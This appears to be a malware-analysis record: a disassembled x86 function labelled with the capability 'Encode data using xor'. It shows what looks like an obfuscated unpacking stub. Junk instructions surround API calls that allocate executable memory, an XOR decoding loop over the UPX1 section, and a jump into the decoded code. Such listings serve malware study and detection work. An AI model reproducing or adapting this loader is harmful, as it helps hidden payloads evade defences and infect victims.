Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf1246dd8
add edi, edi
dec esi
not edi
popal
sub esi, 0x18fffcc
not esi
mov eax, 0
mov ecx, ebx
and edx, edx
not edx
mov esi, ecx
and edx, edi
dec edi
mov ebx, esi
dec edi
or edx, edx
inc edi
inc eax
mov edi, 0xf06f595f
mov edx, 0x4e18206a
cmp eax, 0x100c14e
jne 0xa789c5
inc edx
mov edx, edi
add edi, edi
add edi, edi
mov esi, 0x90fb0da2
add edi, 0xf7581453
mov ecx, 0xa78796
sub ebx, eax
dec ebx
mov esi, 0xa7898a
sub edx, ebx
add ebx, ebx
mov edi, dword [ecx]
inc ebx
sub edx, 0xfbd8d0ed
and edi, 0xff
dec eax
add ebx, 0x9f74cc39
xor dword [esi], edi
dec edx
mov ebx, edx
sub eax, edx
inc esi
sub ebx, edx
add edx, 0x72f4e8fc
inc ecx
mov edx, 0x31846a30
dec eax
cmp esi, entry0
jl 0xa78a10
dec edx
dec edx
inc ebx
and edx, ebx
add edx, 0xb6066696
mov edx, esi
add edi, edi
mov ebx, 0xa7898e
sub edx, 0xbaaf8349
mov esi, 0x6acf2a7f
mov edx, 0x5feba30e
mov ebx, dword [ebx]
sub esi, 0x4ba642ce
mov ecx, edx
sub esi, 0x78154acb
mov ebx, dword [ebx]
and edx, esi
not edx
add esi, 0xe959d4ae
sub esp, 4
mov dword [esp], ebx
mov ecx, 0xc2c63230
mov edx, 0x7fd51eeb
inc edi
mov ebx, 0xa7898a
not edi
inc edi
mov edi, ecx
mov ebx, dword [ebx]
sub edx, edi
or esi, esi
mov ebx, dword [ebx]
sub ecx, edx
or edx, ecx
inc esi
sub esp, 4
mov dword [esp], 0xa78992
add esi, edx
mov ecx, 0xded688b3
dec edx
call ebx
dec ecx
add ecx, 1
and ecx, esi
mov ebx, dword [esp]
add esp, 4
not ecx
sub edi, esi
add esi, 0x38775e0d
push 0xa7899f
not edx
dec ecx
dec edx
push eax
sub esi, 0xb973672
inc ecx
call ebx
add edi, 0x54ade21e
dec edx
push 0x40
add edx, ecx
sub esi, 0x9f388248
sub ecx, 0x9a084ec8
push 0x3000
add esi, ecx
dec edi
dec edi
push 0x20000fe8
or edi, ecx
add ecx, 0x46f5c34d
add esi, edx
push 0
mov ecx, edi
mov edx, esi
mov edi, esi
call eax
sub esi, 0x7ad842b8
add edx, 0x30d8cc83
add eax, 0x20000f29
and edx, edx
or edi, ecx
or ecx, edi
mov ebx, 0x2a120d31
or esi, ecx
and edx, edi
sub esi, 0x62c21e88
mov dword [eax], ebx
sub esi, edx
add edi, 1
add esi, esi
mov ebx, dword [eax]
mov edx, ecx
sub ecx, edi
cmp ebx, 0x2a120d31
je 0xa78b78
mov ecx, 0
mov eax, dword [ecx]
inc edx
and esi, edi
add edx, 0x3965007e
sub edx, 0x74f9b3fb
not esi
or edi, edx
mov esi, 0x1111e6bb
or edi, esi
mov ebx, section.UPX1
sub esi, 0x453e2ea9
and edi, esi
mov eax, 0xa78795
add esi, 0x16e47df1
add esi, esi
mov ecx, 0
add edi, 1
or edi, edi
mov edx, 0xa78796
and edi, esi
add edi, esi
not esi
lea edx, [ecx + edx]
mov edi, 0x26a45469
mov edi, 0xfe2273d2
or esi, edi
mov edx, dword [edx]
inc esi
sub esi, 0xce3012b1
and esi, esi
and edx, 0xff
not edi
mov esi, edi
sub edi, 1
inc ecx
sub edi, 0x2ac5639d
sub esi, 0xe3dfafa1
mov esi, 0x6ab7ea01
cmp ecx, 0x1f4
jne 0xa78c0d
mov ecx, 0
not edi
inc edi
sub esi, edi
inc esi
sub esi, edi
xor dword [ebx], edx
sub esi, 0xf57556da
mov esi, 0xfd0e49c7
add edi, 0x3951ab74
add ebx, 2
sub edi, esi
inc edi
cmp ebx, eax
jl 0xa78bb9
sub edi, 0xda247b51
sub edi, esi
inc edi
inc esi
inc edi
mov edi, section.UPX1
sub eax, 0x86b7ede7
sub eax, esi
sub esi, eax
mov ebx, section.UPX1
dec esi
add eax, 0x6576c080
mov edx, 0xa78795
mov eax, esi
and esi, esi
and esi, eax
mov ecx, 0
dec eax
add eax, 0xb17fa8fb
mov cl, byte [ebx]
sub esi, 0x5a70661c
add esi, 0x1889647e
mov esi, eax
mov byte [edi], cl
sub esi, 0x2a582fee
inc esi
not esi
inc edi
dec esi
sub eax, 0xb522d66
add ebx, 2
dec eax
sub eax, esi
and esi, esi
cmp ebx, edx
jle 0xa78c76
dec eax
and esi, esi
add esi, 0x8bf85ecf
mov esi, 0x67ffedaf
add edi, 0x5c122079
push 0x8dc6a0
sub esi, 0xe3df23ac
sub edi, 0xe77db136
ret